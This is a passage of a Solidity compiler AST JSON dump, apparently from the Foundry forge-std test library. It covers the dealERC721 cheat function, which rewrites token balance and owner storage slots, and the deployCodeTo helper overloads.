memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6160,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30010:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30014:6:3","memberName":"decode","nodeType":"MemberAccess","src":"30010:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30010:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"29990:52:3"},{"expression":{"arguments":[{"id":6187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":true,"src":"30176:13:3","subExpression":{"id":6186,"name":"fromPrevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6138,"src":"30178:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"arguments":[{"id":6179,"name":"ownerData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6105,"src":"30139:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6181,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"30151:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6180,"name":"address","nodeType":"ElementaryTypeName","src":"30151:7:3","typeDescriptions":{}}}],"id":6182,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"30150:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":6177,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30128:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6178,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30132:6:3","memberName":"decode","nodeType":"MemberAccess","src":"30128:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6183,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30128:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":6174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30107:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":6171,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30096:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6168,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30080:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6170,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30089:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30080:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6173,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30103:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30080:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6175,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6176,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30119:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"30080:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6184,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:81:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6185,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30162:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"30080:95:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6188,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:110:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6189,"nodeType":"ExpressionStatement","src":"30080:110:3"},{"expression":{"arguments":[{"id":6203,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":true,"src":"30266:11:3","subExpression":{"id":6202,"name":"toPrevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6159,"src":"30268:9:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6199,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"30248:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":6196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30227:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":6193,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30216:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6190,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30200:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6192,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30209:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30200:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6195,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30223:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30200:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6198,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30239:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"30200:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6201,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30252:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"30200:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:78:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6205,"nodeType":"ExpressionStatement","src":"30200:78:3"},{"expression":{"arguments":[{"id":6218,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"30379:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":6215,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6099,"src":"30361:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30783633353232313165","id":6212,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30340:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},"value":"0x6352211e"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"}],"expression":{"arguments":[{"id":6209,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30329:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6206,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30313:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6208,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30322:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30313:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6211,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30336:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30313:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6214,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30352:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"30313:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6216,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6217,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30365:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9038,"src":"30313:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address)"}},"id":6219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:69:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6220,"nodeType":"ExpressionStatement","src":"30313:69:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC721","nameLocation":"29259:10:3","parameters":{"id":6100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6095,"mutability":"mutable","name":"token","nameLocation":"29278:5:3","nodeType":"VariableDeclaration","scope":6222,"src":"29270:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6094,"name":"address","nodeType":"ElementaryTypeName","src":"29270:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6097,"mutability":"mutable","name":"to","nameLocation":"29293:2:3","nodeType":"VariableDeclaration","scope":6222,"src":"29285:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6096,"name":"address","nodeType":"ElementaryTypeName","src":"29285:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6099,"mutability":"mutable","name":"id","nameLocation":"29305:2:3","nodeType":"VariableDeclaration","scope":6222,"src":"29297:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6098,"name":"uint256","nodeType":"ElementaryTypeName","src":"29297:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29269:39:3"},"returnParameters":{"id":6101,"nodeType":"ParameterList","parameters":[],"src":"29326:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6237,"nodeType":"FunctionDefinition","src":"30395:123:3","nodes":[],"body":{"id":6236,"nodeType":"Block","src":"30469:49:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":6230,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6224,"src":"30492:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"","id":6231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30498:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""},{"hexValue":"30","id":6232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30502:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":6233,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6226,"src":"30505:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_address","typeString":"address"}],"id":6229,"name":"deployCodeTo","nodeType":"Identifier","overloadedDeclarations":[6237,6254,6307],"referencedDeclaration":6307,"src":"30479:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$_t_uint256_$_t_address_$returns$__$","typeString":"function (string memory,bytes memory,uint256,address)"}},"id":6234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30479:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6235,"nodeType":"ExpressionStatement","src":"30479:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30404:12:3","parameters":{"id":6227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6224,"mutability":"mutable","name":"what","nameLocation":"30431:4:3","nodeType":"VariableDeclaration","scope":6237,"src":"30417:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6223,"name":"string","nodeType":"ElementaryTypeName","src":"30417:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6226,"mutability":"mutable","name":"where","nameLocation":"30445:5:3","nodeType":"VariableDeclaration","scope":6237,"src":"30437:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6225,"name":"address","nodeType":"ElementaryTypeName","src":"30437:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30416:35:3"},"returnParameters":{"id":6228,"nodeType":"ParameterList","parameters":[],"src":"30469:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6254,"nodeType":"FunctionDefinition","src":"30524:144:3","nodes":[],"body":{"id":6253,"nodeType":"Block","src":"30617:51:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":6247,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6239,"src":"30640:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6248,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6241,"src":"30646:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"30","id":6249,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30652:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":6250,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6243,"src":"30655:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_address","typeString":"address"}],"id":6246,"name":"deployCodeTo","nodeType":"Identifier","overloadedDeclarations":[6237,6254,6307],"referencedDeclaration":6307,"src":"30627:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$_t_uint256_$_t_address_$returns$__$","typeString":"function (string memory,bytes memory,uint256,address)"}},"id":6251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30627:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6252,"nodeType":"ExpressionStatement","src":"30627:34:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30533:12:3","parameters":{"id":6244,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6239,"mutability":"mutable","name":"what","nameLocation":"30560:4:3","nodeType":"VariableDeclaration","scope":6254,"src":"30546:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6238,"name":"string","nodeType":"ElementaryTypeName","src":"30546:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6241,"mutability":"mutable","name":"args","nameLocation":"30579:4:3","nodeType":"VariableDeclaration","scope":6254,"src":"30566:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6240,"name":"bytes","nodeType":"ElementaryTypeName","src":"30566:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":6243,"mutability":"mutable","name":"where","nameLocation":"30593:5:3","nodeType":"VariableDeclaration","scope":6254,"src":"30585:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6242,"name":"address","nodeType":"ElementaryTypeName","src":"30585:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30545:54:3"},"returnParameters":{"id":6245,"nodeType":"ParameterList","parameters":[],"src":"30617:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6307,"nodeType":"FunctionDefinition","src":"30674:475:3","nodes":[],"body":{"id":6306,"nodeType":"Block","src":"30782:367:3","nodes":[],"statements":[{"assignments":[6266],"declarations":[{"constant":false,"id":6266,"mutability":"mutable","name":"creationCode","nameLocation":"30805:12:3","nodeType":"VariableDeclaration","scope":6306,"src":"30792:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6265,"name":"bytes","nodeType":"ElementaryTypeName","src":"30792:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6271,"initialValue":{"arguments":[{"id":6269,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6256,"src":"30831:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6267,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"30820:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6268,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30823:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"30820:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":6270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30820:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"30792:44:3"},{"expression":{"arguments":[{"id":6275,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"30854:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":6278,"name":"creationCode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6266,"src":"30878:12:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":6279,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6258,"src":"30892:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6276,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30861:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6277,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30865:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"30861:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":6280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30861:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 